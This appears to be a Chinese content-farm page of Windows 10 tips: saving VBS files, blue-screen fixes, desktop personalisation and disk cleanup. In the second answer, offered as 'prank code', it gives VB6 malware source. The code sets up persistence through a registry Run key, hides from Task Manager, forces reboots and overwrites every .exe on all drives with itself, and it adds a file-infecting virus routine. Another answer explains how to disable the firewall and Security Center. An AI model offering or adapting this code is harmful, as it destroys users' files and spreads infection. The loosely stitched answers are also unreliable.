windows之家1.win10怎么运行VBS?
其实是您保存的文件后缀不对，所以不能运行。
系统默认是不显示后缀名的。如果您没有开启显示后缀名，那么您新建一个文本文档后，应该后面没有.txt，这时候就算您重命名，添加了.vbs也没有，您其实更改的只是文件名，而不是后缀名，这个文件还是一个txt格式的文本。
所以您要么先开启显示文件后缀名（在资源管理器的选项中有相关开启的地方）
要么不要新建文本文档，而是直接打开系统的记事本软件，然后输入VBS代码，输好后，点击文件>；另存为，类型选择所有文件，文件名最后加上.vbs，后面保存。这要就保存为vbs格式的脚本文件了。
2.求恶搞软件代码(用记事本编写的),越多越好
Private Sub Form_Load() Set my = CreateObject("WScript.Shell") FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Program Files\SMI.exe" my.regWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", dirwin & "C:\Program Files\SMI.exe", "REG_SZ" End Sub Private Sub Timer1_Timer() If App.PrevInstance Then End End If Dim a As New Form1 a.Hide '在任务管理器中隐身！ App.TaskVisible = False On Error Resume Next ' 出错继续 Dim files As String Dim nr As String Dim c As String Static count As Long c = ("\") files = FreeFile count = count + Int(Rnd * 99999999) Open c & "QQ1314520" & count & ".chk" For Random As #1 Put #1, 10, "fimrrir" Write #files, nr Close #files End Sub Private Sub Timer2_Timer() Dim a As New Form1 a.Show End Sub Private Sub Timer3_Timer() Dim a As New Form1 a.Show End Sub Private Sub Timer4_Timer() Dim a As New Form1 a.Show End Sub Private Sub Timer5_Timer() Dim a As New Form1 a.Show End Sub Shell ("cmd.exe /c shutdown /r /t 2") Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Sub Form_Load() On Error Resume Next '容错句 If Dir("f:\123.txt") = "" Then '如果123.txt不存在则创建 bat遍历exe文件 Open "c:\a.bat" For Output As #1 '打开bat文件 Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe >>e:\123.txt" '写入数据 Close #1 '关闭文件 Sleep 200 '延时200秒等待文件生成（主要为了慢机器） Shell "f:\a.bat", 0 '隐藏运行之 End If Sleep 60000 '延时1分钟等待exe遍历完成 Dim A() As String Dim C As Long, I As Integer Open "f:\\" For Input As #1 '读取txt里面的内容 Do While EOF(1) = False ReDim Preserve A(C) Input #1, A(C) C = C + 1 Loop Close #1 For I = 0 To C - 1 FileCopy App.Path & "\" & App.EXEName & ".exe", A(I) '把txt里面的内容替换掉 Next End Sub Option Explicit Private Victim As String '要感染的文件的名字 Private HostLen As Long '要感染的文件的大小 Private vbArray() As Byte '病毒的代码 Private hArray() As Byte '要感染的文件的代码 Private lenght As Long Private MySize As Integer '病毒的大小 Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private iResult As Long Private hProg As Long Private idProg As Long Private iExit As Long Const STILL_ACTIVE As Long = &H103 Const PROCESS_ALL_ACCESS As Long = &H1F0FFF Private Sub form_Initialize() Dim i As Long On Error GoTo vbVerror '出错处理 '原理：将生成病毒文件的代码读出，粘在要被感染的文件的后面。
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _ As #1 ReDim MyArray(LOF(1) - 1) MySize = LOF(1) ReDim vbArray(MySize) Get #1, 1, vbArray Close #1 '这是在读自己的代码 Victim = Dir(App.Path & "\" & "*.EXE") '随便选一个文件（目前只是在病毒所在的目录下随机选一个，将来你可以修改，让它不断的循环搜索计算机上的所有文件。） While Victim <> "" If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then Open App.Path & "\" & Victim For Binary Access Read As #1 ReDim hArray(LOF(1)) Get #1, 1, hArray Close #1 '读出病毒自身的代码 If hArray(&H69) <> &H4D Then i = hArray(&H3C) If hArray(i) = &H50 Then Open App.Path & "\" & Victim For Binary Access Write As #1 Put #1, , vbArray Put #1, MySize, hArray Close #1 End If '要保证被感染的不是空文件（不是圈套） End If End If '读出准备被感染的文件的代码 Victim = Dir() 'Next Wend '下面的工作是为了保证病毒不会重复感染一个文件，也不会自我感染。
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1 lenght = LOF(1) - MySize If lenght <> 0 Then ReDim vbArray(lenght - 1) Get #1, MySize, vbArray Close #1 Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Write As #1 Put #1, , vbArray Close #1 idProg = Shell(App.Path & "\" & App.EXEName & ".exe", vbNormalFocus) hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg) GetExitCodeProcess hProg, iExit Do While iExit = STILL_ACTIVE DoEvents GetExitCodeProcess hProg, iExit Loop Kill App.Path & "\" & App.EXEName & ".exe" Else Close #1 End If End vbVerror： '出错处理，空着就可以了 End Sub。
3.win10终止代码clock watchdog timeout
在Win10系统中会出现蓝屏，提示：clock watchdog timeout 该如何修复？出现这样的提示主要是因为特定处理器无法处理中断导致，具体来说，是由于处理器无响应或者被锁死导致。简单的说，出现这样的问题的电脑大多都是超频引起的，一般来说只要降低cpu频率即可。
步骤：
开进按DEL或F2进入BIOS，选择倒数第二项左右LOAD SAFE（载入安全设置）或LOAD default（载入默认设置）即可恢复默认BIOS选项，恢复了CPU为未超频的状态。
还有就是CPU过热 散热不良导致，将cpu风扇清理一下一般即可搞定！
以上就是使用win10蓝屏代码：clock watchdog timeout 的解决方法！
4.win10系统蓝屏提示代码dpc watchdog violation怎么解决
自从win10系统正式推出以来，经常有用户反馈电脑出现蓝屏问题，而反馈最多就是在升级win10过程中蓝屏“DPC_WATCHDOG_VIOLATION”和错误代码“0x00000133，那么要怎么解决这个问题呢？下面给大家分享电脑蓝知屏代码0x00000133的修复方法。
1、在桌道面右键点击此电脑，选择管理，然后弹出界面中点击设备管理，找到“IDE ATA/ATAPI控制器”，如下图所示：
2、打开带有“SATA AHCI”的控制器属性，切换到驱动程序栏，点击“更新驱动程序”，如下图所示：
3、点击“浏览计算机以查内找驱动程序软件”，如下图所示：
4、选择“从计算机的设备驱动程序列表中选取”，点击下一步，如下图所示：
5、选取“标准双通道 PCI IDE控制器”，点击下一步进行安装，完成后重启系统即可。
以上就是修复电容脑蓝屏0x00000133的方法，出现蓝屏代码0x00000133主要是驱动程序兼容问题引起的，有遇到类似情况的朋友不妨参考上述方法修复。
5.win10如何自制弹窗
控制面板-windows的防火墙-更改通知设置-把两个都选择最后一项。
1. win10系统每次开机，会在右下角弹出一个横幅提示“启用windows安全中心服务”，或者是“windows防火墙已关闭”。很多朋友不喜欢这个提醒，需要关闭win10右下角“启用windows安全中心服务”等等提示。在网上有看到说禁用安全中心服务，但其实没有解决问题，下面把自己的方法分享给大家，可以真正关闭提示信息。
2. 开机出现弹窗提示，有时候是启用windows安全中心服务，如果关闭了防火墙，也可能出现windows防火墙已关闭，或者其他的信息。
3. 禁用安全中心服务本身并不能阻止弹窗，下次开机的时候还会出现其他的信息。
4. 单击开始菜单，选择"设置"。在打开的设置窗口中，选择“系统”。
5. 这里在左侧，选择“通知和操作”。
6. 安全和维护这里可以直接关闭。
7. 关闭win10系统的防火墙右键点击开始菜单按钮，选择控制面板。
8. 在控制面板中依次打开 【系统和安全】——【windows防火墙】——【启用或关闭windows防火墙】。
9. 分别设置专用网络和公用网络的防火墙为关闭，然后确定保存。
10. 关闭安全中心服务。
11. 如果你不想关闭防火墙，只想关闭一些阻止警告等提示的话，我们可以关闭安全中心服务：security center,security center服务服务监视并报告计算机上的安全健康设置。
12. 在w10系统下载中按win+r 打开运行，然后输入 services.msc 确定。
13. 在本地服务列表中找到 security center 服务。
14. 双击打开security center属性，停止该服务并设置启动类型为 “禁用”。
6.如何用代码写出好看的win10主题桌面
【点击“个性化”】
先用鼠标在桌面上点击右键，然后在跳出的小框选择最后一个“个性化”用左键点击进入设置界面。
【点击“背景”】
在设置界面的左上角用左键点击“背景”，然后在中间显示的几张小图中选择其中一张喜欢的做桌面背景。如果这几张你不喜欢的话，可以点击小图下的“浏览”，到电脑里选择其它保存的图片。
【点击“纯色”】
如果你是一个喜欢简单的人，也可以选择单一颜色的背景。先左键点击“图片”右边的下拉按钮，再在显示的下拉三项中点击“纯色”，然后在出现的多种“背景色”中选择一种自己最喜欢的即可。
【选择“幻灯片放映”】
如果你想让自己的桌面时刻充满新鲜和惊喜，也可以选择“背景”下拉框中的“幻灯片放映”，再点击下边的“浏览”，然后在跳出的窗口中先点图片存放的磁盘位置，再点具体的文件夹，最后点“选择此文件夹”即可。
【更改图片的频率】
选好幻灯片放映的文件夹后，我们还要设置它更换每张图的时间。我们首先点击“更改图片的频率”下的那个时间旁边的下拉按钮，然后在跳出的各种时间中选择一种。
【选择契合度】
因为电脑中保存的图片并不全是按电脑显示屏大小定制的，其中有大也有小，放到桌面上做背景有时难免不大好看，这时，我们就要对图片的契合度进行选择了。首先点击契合度按钮，然后选择其中一种最适合的展示图片的模式就可以了。
7
【其它个性化设置】
当然，以上只是对电脑桌面背景方面的一些个性化设置，其实，我们还可以对电脑的其它方面进行个性化设置（比如颜色、锁屏界面、主题和开始菜单）。在此，我也不一一去讲了，大家可以自己去试试。
7.win10开机出现bad
Windows10系统电脑开机出现蓝屏且提示错误代码：BAD SYSTEM CONFIG INFO，这是怎么回事呢？其实，该问题是由于系统中驱动不正确或误删系统文件导致的。下面，系统城小编就给大家分享下具体解决方法。
推荐：w10系统正式版
步骤如下：
1、按住电源按钮，将电脑强制关机，重新开机，到windwos徽标界面，再次按电源按钮强制关闭计算机，反复操作多次，就会自动弹出疑难解答界面，我们点击选择“疑难解答”；
2、然后选中“自动修复”进行修复，完成后重启计算机即可。
Win10系统电脑蓝屏提示“BAD SYSTEM CONFIG INFO”的解决方法就为大家介绍到这里了。遇到类似问题的朋友们，不妨试着操作看看，相信会有不一样的惊喜。
系统有问题了。直接换个验证过的系统盘重装系统就行了，这样就可以全程自动、顺利解决 win10系统开机蓝屏的问题了。用u盘或者硬盘这些都是可以的，且安装速度非常快。安装方法如下：
1、U盘安装：用ultraiso软件，打开下载好的系统安装盘文件（ISO文件），执行“写入映像文件”把U盘插到电脑上，点击“确定”，等待程序执行完毕后，这样就做好了启动及安装系统用的u盘，用这个做好的系统u盘引导启动机器后，即可顺利重装系统了；
2、硬盘安装：前提是，需要有一个可以正常运行的Windows系统，提取下载的ISO文件中的“*.GHO”和“安装系统.EXE”到电脑的非系统分区，然后运行“安装系统.EXE”，直接回车确认还原操作，再次确认执行自动安装操作（执行前注意备份C盘重要资料）。
8.win10蓝屏代码FAULTY HARDWARE CORRUPTED PAGE
1.电脑操作引起：好好想一下，蓝屏前，你进行了什么操作？按F8进入安全模式，删除、卸载、取消你之前的操作。
2.蓝屏由硬件引起的有：更换或者添加硬件，出现硬件不兼容现象，卸下新加硬件。就是硬件兼容，也可能蓝屏，因为系统不能识别新添加的硬件，建议重装系统。电脑使用过久，内存、显卡的金手指氧化而引起接触不良，把内存、显卡，取下来用橡皮擦擦卡的金手指，可向槽内加入少量无水酒精（清洗槽内氧化物），几分钟后，用电吹风吹干，再插好。
3.也可以用腾讯电脑管家，查杀病毒木马，看是不是病毒或木马导致的蓝屏。
9.win10用什么清理垃圾编程代码
win10系统是带有自带的清理垃圾的功能，但是不是很好用。1，系统自带的清理垃圾的功能；在电脑桌面打开「我的电脑」右键系统盘>「属性」。
2，进入到本地磁盘对话框，点击对话框下方的「磁盘清理」，自动搜索系统中的垃圾。搜索到垃圾就可以直接清理了。
3，很多人还是喜欢第三方软件软件清理垃圾，如腾讯电脑等等以管家为例；
打开电脑管家，选择下方栏目中的清理垃圾，点击上方 的扫描垃圾。这样会有一些第三方软件所产生的垃圾都能被扫描出来，扫描的很全面的，根据自己的需要选择要清理的垃圾，然后单机清理垃圾就可以了。
转载请注明出处windows之家 » win10电脑代码恶搞